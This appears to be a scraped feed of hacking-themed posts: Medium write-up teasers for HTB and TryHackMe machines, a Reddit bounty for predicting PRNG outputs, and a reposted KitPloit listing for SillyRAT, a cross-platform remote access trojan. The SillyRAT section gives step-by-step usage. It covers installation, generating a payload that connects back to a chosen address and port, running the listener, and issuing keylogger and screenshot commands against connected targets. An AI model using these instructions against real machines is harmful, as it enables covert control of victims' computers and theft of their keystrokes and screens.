Hacking on Medium
Hack The Box —BountyHunter Writeup

https://cdn-images-1.medium.com/max/1188/1*L61rZ-lg_BmsQLyOBWUt2g.png
For those who are experienced with Python 3 scripting and XXE Injection, or at least willing to learn this stuff, this is a proper machine…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Types of Social Engineering Attacks

https://cdn-images-1.medium.com/max/1212/1*5WVRmqfBVf54fmSpwBnccg.png
Most cybercriminals are master manipulators, but that doesn’t mean they’re all manipulators of technology — some cybercriminals favor the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Help Needed with Some Number prediction (PrNg) Algorithm Unknown – 1,000$/2,000$ Bounty for Correct answer
https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/

Some mates and I are competing to solve an ARG and are preparing for a series of puzzle challenges that will be issued over the next week. One of which is going to be predicting the output of a PrnG (Psuedo-Random Number Generator) I’m definitely going to be the odd one out when it comes to this specific challenge as Math is my weak point, and the math required to figure this out is somewhat above my abilities. I’ve been told this is a well-studied topic for those with Pen-testing and Mathematical (Frequency Analysis) backgrounds. For those familiar with the following PrNg Algorithms: -Python/Java(s) random number script - Mersenne Twister - Xoroshiro 128+ - PHP MT_Variant - Ruby MT_Variant -- And/Or General PrNg Prediction If you’re willing to help, I will provide over 200-something outputs and the challenge is to provide me with the next number in the set. I will give 1,000$ (usd $) to the individual who provides the correct answer and another 1,000$ if you can explain how you derived said answer. PM me if you wish to try and I will provide a spreadsheet with the test set. submitted by /u/Apaleshade (https://www.reddit.com/user/Apaleshade)
[link] (https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/) [comments] (https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
DuckDuckGo wants to stop apps tracking you on Android

https://external-preview.redd.it/3YyzYvQQdhmLiDHgxdZOmLsidiCJZH21e7EOMvrbM5E.jpg?width=640&crop=smart&auto=webp&s=5d6715a03457034db8557bba8860d26981a4e412 submitted by /u/sksking
[link] [comments]

SillyRAT - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT
http://www.kitploit.com/2021/11/sillyrat-cross-platform-multifunctional.html

___________________________
@hacking_Attack
@Hacking_Video

A Cross Platform (https://www.kitploit.com/search/label/Cross%20Platform) multifunctional (Windows/Linux/Mac) RAT.
Getting Started

Description
A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload (https://www.kitploit.com/search/label/Payload) code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.
Features
Built-in Shell for command executionDumping System Information including drives and ramsScreenshot module. Captures screenshot (https://www.kitploit.com/search/label/Screenshot) of client (https://www.kitploit.com/search/label/Client) screen.Connection Loop (Will continue on connecting to server)Currently, it uses BASE64 encoding. Pure PythonCross Platform. (Tested on Linux. Errors are accepted)Source File included for testingPython 3
To be expected in future
Stealth ExecutionEncryptionStoring Sessions from last attemptPushing Notifications when a client connects
Installation
The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

Documentation

Generating Payload
You can get the payload file in two ways:Source FileCompiled FileThe source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

___________________________
@hacking_Attack
@Hacking_Video

Replace your IP Address and Port on above commands.
Running Server
The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999

Connections
All the connections will be listed under sessions command:$ sessions

___________________________
@hacking_Attack
@Hacking_Video

You can connect to you target session with connect command and launch one of available commands:keylogger on $ keylogger dump $ screenshot ">$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

___________________________
@hacking_Attack
@Hacking_Video

Help
Get a list of available commands:$ help
Help on a Specific Command:$ help COMMAND

Support
Twitter: @hash3liZer (https://twitter.com/hash3liZer)
Discord: TheFlash2k#0407

Download SillyRAT (https://github.com/hash3liZer/SillyRAT)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What Exactly is A DDos Attack? And How Does it Work?

https://cdn-images-1.medium.com/max/1024/1*KorqCJYmaK5JEdCcTRFB3Q.jpeg
What is a DDOS Attack?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Offensive Security: Insanity Hosting Walkthrough

https://cdn-images-1.medium.com/max/788/1*iGeNeZF4UuIDgQIYsjPs9w.png
This is a walkthrough of Insanity Hosting from the offensive security playground. Let us see how we can compromise this machine.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe : Pickle Rick Walkthrough

https://cdn-images-1.medium.com/max/600/1*lq__TS2hUnWjsiV7ByIsfQ.png
ajosmanpratama.medium.com

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video